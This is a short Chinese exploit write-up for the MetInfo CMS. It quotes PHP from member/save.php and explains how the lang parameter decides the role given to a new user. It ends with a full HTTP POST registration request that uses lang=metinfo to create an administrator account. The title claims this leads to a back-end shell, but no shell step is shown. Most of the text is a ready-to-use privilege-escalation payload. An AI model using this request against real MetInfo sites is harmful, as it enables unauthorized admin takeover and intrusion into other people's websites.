MetInfo最新版设计缺陷可注册管理员用户直接后台getshell

member/save.php
[php]

$query="select * from $met_admin_array where lang='$lang' order by user_webpower asc";
$usertypes=$db->get_all($query);
$pass1=md5($mm);
$query = "INSERT INTO $met_admin_table SET
admin_id = '$yhid',
admin_pass = '$pass1',
admin_tel = '$lxdh',
admin_email = '$email',
admin_modify_ip = '$m_user_ip',
admin_register_date= '$m_now_date',
usertype = '{$usertypes[0][id]}',
companyname = '$companyname',
companyaddress = '$companyaddress',
companyfax = '$companyfax',
companycode = '$yzbm',
companywebsite = '$wz',
lang = '$lang',
checkid = '$checkid'";
$db->query($query);[/php]
数据库中当usertype为3时即为管理员权限
[php]
$query="select * from $met_admin_array where lang='$lang' order by user_webpower asc";

$usertypes=$db->get_all($query);

usertype = '{$usertypes[0][id]}'
[/php]
由代码可看出当lang=metinfo时,usertype=3
[php]
POST /member/save.php?action=add HTTP/1.1
Host: 0day5.com
lang=metinfo&yhid=testtest&mm=testtest&mm1=testtest&email=byzhiwen%40vip.qq.com&companyname=ceshia&code=FE2B&lxdh=18210056765&companyfax=&companyaddress=nicai&yzbm=100001&usertype=3&wz=
[/php]
注册时截包 改为lang=metinfo

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